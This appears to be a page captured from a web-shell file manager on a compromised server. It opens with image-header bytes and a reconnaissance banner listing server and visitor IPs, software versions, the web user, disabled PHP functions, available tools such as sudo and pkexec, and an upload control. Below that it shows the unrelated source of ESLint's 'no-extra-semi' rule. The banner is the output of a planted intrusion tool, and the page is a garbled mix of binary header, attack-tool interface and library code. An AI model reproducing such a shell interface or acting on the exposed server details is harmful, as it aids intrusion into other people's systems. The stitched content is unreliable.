????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.148.211.202 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/forge/node_modules/eslint/lib/rules/ |
Upload File : |
/** * @fileoverview Rule to flag use of unnecessary semicolons * @author Nicholas C. Zakas */ "use strict"; //------------------------------------------------------------------------------ // Requirements //------------------------------------------------------------------------------ const FixTracker = require("../util/fix-tracker"); const astUtils = require("../util/ast-utils"); //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ module.exports = { meta: { type: "suggestion", docs: { description: "disallow unnecessary semicolons", category: "Possible Errors", recommended: true, url: "https://eslint.org/docs/rules/no-extra-semi" }, fixable: "code", schema: [], messages: { unexpected: "Unnecessary semicolon." } }, create(context) { const sourceCode = context.getSourceCode(); /** * Reports an unnecessary semicolon error. * @param {Node|Token} nodeOrToken - A node or a token to be reported. * @returns {void} */ function report(nodeOrToken) { context.report({ node: nodeOrToken, messageId: "unexpected", fix(fixer) { /* * Expand the replacement range to include the surrounding * tokens to avoid conflicting with semi. * https://github.com/eslint/eslint/issues/7928 */ return new FixTracker(fixer, context.getSourceCode()) .retainSurroundingTokens(nodeOrToken) .remove(nodeOrToken); } }); } /** * Checks for a part of a class body. * This checks tokens from a specified token to a next MethodDefinition or the end of class body. * * @param {Token} firstToken - The first token to check. * @returns {void} */ function checkForPartOfClassBody(firstToken) { for (let token = firstToken; token.type === "Punctuator" && !astUtils.isClosingBraceToken(token); token = sourceCode.getTokenAfter(token) ) { if (astUtils.isSemicolonToken(token)) { report(token); } } } return { /** * Reports this empty statement, except if the parent node is a loop. * @param {Node} node - A EmptyStatement node to be reported. * @returns {void} */ EmptyStatement(node) { const parent = node.parent, allowedParentTypes = [ "ForStatement", "ForInStatement", "ForOfStatement", "WhileStatement", "DoWhileStatement", "IfStatement", "LabeledStatement", "WithStatement" ]; if (allowedParentTypes.indexOf(parent.type) === -1) { report(node); } }, /** * Checks tokens from the head of this class body to the first MethodDefinition or the end of this class body. * @param {Node} node - A ClassBody node to check. * @returns {void} */ ClassBody(node) { checkForPartOfClassBody(sourceCode.getFirstToken(node, 1)); // 0 is `{`. }, /** * Checks tokens from this MethodDefinition to the next MethodDefinition or the end of this class body. * @param {Node} node - A MethodDefinition node of the start point. * @returns {void} */ MethodDefinition(node) { checkForPartOfClassBody(sourceCode.getTokenAfter(node)); } }; } };